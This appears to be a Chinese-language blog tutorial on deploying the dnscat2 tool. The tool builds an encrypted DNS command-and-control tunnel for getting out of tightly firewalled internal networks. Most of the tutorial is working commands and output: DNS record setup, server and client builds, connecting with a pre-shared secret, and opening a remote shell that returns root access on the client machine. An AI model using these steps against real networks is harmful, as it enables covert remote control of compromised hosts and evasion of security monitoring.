一、介绍

1、简介

dnscat2是一款开源软件，使用DNS协议创建加密的C&C通道，通过预共享密钥进行身份验证；使用shell及DNS查询类型（TXT、MX、CNAME、A、AAAA），多个同时进行的会话类似于SSH中的隧道。

2、分类

直连模式：客户端直接向指定IP地址的DNS服务器发起DNS解析请求
中继模式：DNS经过互联网的迭代解析，指向指定的DNS服务器。速度相对直连模式较慢

3、应用场景

在安全策略严格的内网环境中，常见的C&C通信端口会被众多安全设备所监控，该网段只允许白名单流量出站，同时其他端口都被屏蔽，传统的C&C通信无法建立。这种情况下，可以通过使用DNS建立隐蔽隧道来进行通信

二、配置

1、部署域名解析

```
# 前置知识
```

使用一台公网的Linux系统的VPS作为C&C服务器（53端口开放），并准备好一个可以配置的域名。首先创建记录A，将自己的域名 www.xxx.com 解析到VPS服务器地址。然后创建NS记录，将ns2.xxx.com 指向www.xxx.com

验证域名A类解析情况：
在任意电脑上ping域名，若ping通，且ipd地址显示为刚刚配置的VPS地址，说明第一条A类解析设置成功并生效

```
C:\Users\      >ping www.      .com

正在 Ping www.      .com [180.76.172.197] 具有 32 字节的数据:
来自                的回复: 字节=32 时间=72ms TTL=47
来自                的回复: 字节=32 时间=84ms TTL=47
来自                的回复: 字节=32 时间=65ms TTL=47
来自                的回复: 字节=32 时间=63ms TTL=47

180.76.172.197 的 Ping 统计信息:
    数据包: 已发送 = 4, 已接收 = 4, 丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 63ms, 最长 = 84ms, 平均 = 71ms
```

验证域名NS类解析情况：

在VPS监听UDP53端口 "tcpdump -n -i eth0 udp dst port 53"

在任意电脑上执行 "nslookup ns2.xxx.com"

如果有VPS监听的端口有查询信息，说明NS解析配置成功

```
C:\Users\      >nslookup ns2.      .com
服务器:  UnKnown
Address:  fe80:      93ff:fea0:dc16

DNS request timed out.
    timeout was 2 seconds.
DNS request timed out.
    timeout was 2 seconds.
*** UnKnown 找不到 ns2.      com: Server failed
```

```
root@buzz:~# tcpdump -n -i eth0 udp dst port 53
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
20:04:08.140213 IP 192.168.0.4.34161 > 192.168.0.2.53: 34421+ AAAA? bcm.baidubce.com. (34)

20:04:14.249856 IP 61      85.58614 > 192.168.0.4.53: 4702% [1au] AAAA? ns2.      .com. (54)
20:04:15.049913 IP 6       85.56749 > 192.168.0.4.53: 14283 AAAA? ns2.      com. (31)
20:04:16.650105 IP 6       85.37259 > 192.168.0.4.53: 36765 AAAA? ns2.      .com. (31)
20:04:19.850633 IP 61      85.52784 > 192.168.0.4.53: 57361 AAAA? ns2.      .com. (31)
```

2、安装dnscat2服务端

```
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
```

```
root@VM-12-5-ubuntu:/home/ubuntu/neiwangkaquan# git clone https://github.com/iagox86/dnscat2.git
Cloning into 'dnscat2'...

fatal: unable to access 'https://github.com/iagox86/dnscat2.git/': GnuTLS recv error (-110): The TLS
connection was non-properly terminated.
root@VM-12-5-ubuntu:/home/ubuntu/neiwangkaquan#
root@VM-12-5-ubuntu:/home/ubuntu/neiwangkaquan# git clone https://github.com/iagox86/dnscat2.git
Cloning into 'dnscat2'...

Use `bundle info [gemname]` to see where a bundled gem is installed.
```

3、安装dnscat2客户端

```
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
```

```
┌──(root㉿A)-[~]
└─# git clone https://github.com/iagox86/dnscat2.git
正克隆到 'dnscat2'...
remote: Enumerating objects: 6617, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 6617 (delta 0), reused 2 (delta 0), pack-reused 660
7
接收对象中：100% (6617/6617), 3.84 MiB | 2.28 MiB/s, 完成.
处理 delta 中：100% (4564/4564), 完成.

┌──(root㉿A)-[~]
└─# cd dnscat2/client/

┌──(root㉿A)-[~/dnscat2/client]
└─# make
cc --std=c89 -I. -Wall -D_DEFAULT_SOURCE  -Wformat -Wformat-secur
ity -g    -c -o controller/packet.o controller/packet.c
cc --std=c89 -I. -Wall -D_DEFAULT_SOURCE  -Wformat -Wformat-secur
ity -g    -c -o controller/session.o controller/session.c
cc --std=c89 -I. -Wall -D_DEFAULT_SOURCE  -Wformat -Wformat-secur
ity -g    -c -o controller/controller.o controller/controller.c
cc --std=c89 -I. -Wall -D_DEFAULT_SOURCE  -Wformat -Wformat-secur
ity -g    -c -o drivers/driver.o drivers/driver.c
cc -c --std=c89 -I. -Wall -D_DEFAULT_SOURCE  -Wformat -Wformat-se
curity -g -o drivers/command/driver_command.o drivers/command/dri
ver_command.c
```

4、测试连通性

```
./dnscat --ping ns2.xxx.com
```

由于解析规则没有配置好，这里出了错

```
┌──(root㉿A)-[~/dnscat2/client]
└─# ./dnscat --ping ns2.[redacted].com
Creating a ping session!
Creating DNS driver:
 domain = ns2.[redacted].com
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = 192.168.174.2
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
[[ ERROR ]] :: DNS: RCODE_SERVER_FAILURE
```

三、中继模式

1、服务端监听

```
ruby ./dnscat2.rb ns2.xxx.com --secret=123456
```

```
root@buzz:/home/dnscat2/server# ruby ./dnscat2.rb ns2.[redacted]com --secret=123456

New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted and authenticated
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = ns2.[redacted].com]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=123456 ns2.[redacted].com

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=123456

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
```

2、客户端连接

```
./dnscat --secert=123456 ns2.xxx.com
```

```
┌──(root㉿A)-[~/dnscat2/client]
└─# ./dnscat --secret=123456 ns2.[redacted].com
Creating DNS driver:
 domain = ns2.[redacted].com
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = 192.168.174.2

** Peer verified with pre-shared secret!
```

```
dnscat2> New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
```

3、执行命令

```
查看会话：sessions
```

```
dnscat2> sessions
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = ns2.zhseu.com [*]
  1 :: command (A) [encrypted and verified] [*]
```

进入指定会话：session -i 1（目标如果为windows，用windows -i 1）

```
dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
```

反弹shell：

```
shell
session -i 5
id
```

```
command (A) 1> shell
Sent request to execute a shell
command (A) 1> New window created: 5
Shell session created!
session -i 5
New window created: 5
history_size (session) => 1000
Session 5 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

sh (A) 5> id
sh (A) 5> 用户id=0(root) 组id=0(root) 组=0(root),4(adm),20(dialout),119(wireshark),142(kaboxer)
```
